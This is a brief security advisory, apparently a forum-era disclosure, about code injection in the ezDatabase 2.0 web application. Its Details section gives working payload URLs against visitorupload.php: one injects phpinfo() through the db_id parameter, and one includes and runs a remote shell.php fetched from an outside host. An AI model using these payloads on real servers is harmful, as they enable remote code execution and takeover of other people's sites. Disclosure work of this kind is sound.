ezDatabase 2.0 and below ezDatabase 2.0 and below ========================================= www.ezdatabase.org "ezDatabase is the foundation for your online databases. It is a powerful web based application that allows even non-technical users to create online databases for their website. ezDatabase will do the hard work while you concentrate on building the databases you want." ______________________________________________ This vulnerability was first disclosed at: www.unsecured-systems.com/forum/ By Pridels Team: pridels.blogspot.com ______________________________________________ Details: This application insecurely uses variables in several ways. Example: visitorupload.php?db_id=;phpinfo() visitorupload.php?db_id=;include(_GET[test])&test=http://www.unsecured-s ystems.com/forum/shell.php registered_globals = on OR off Solution: Rewrite the application to follow the guidelines of the PHP Security Consortium At this time there are several more vulnerabilites that have only been disclosed at: www.unsecured-systems.com/forum/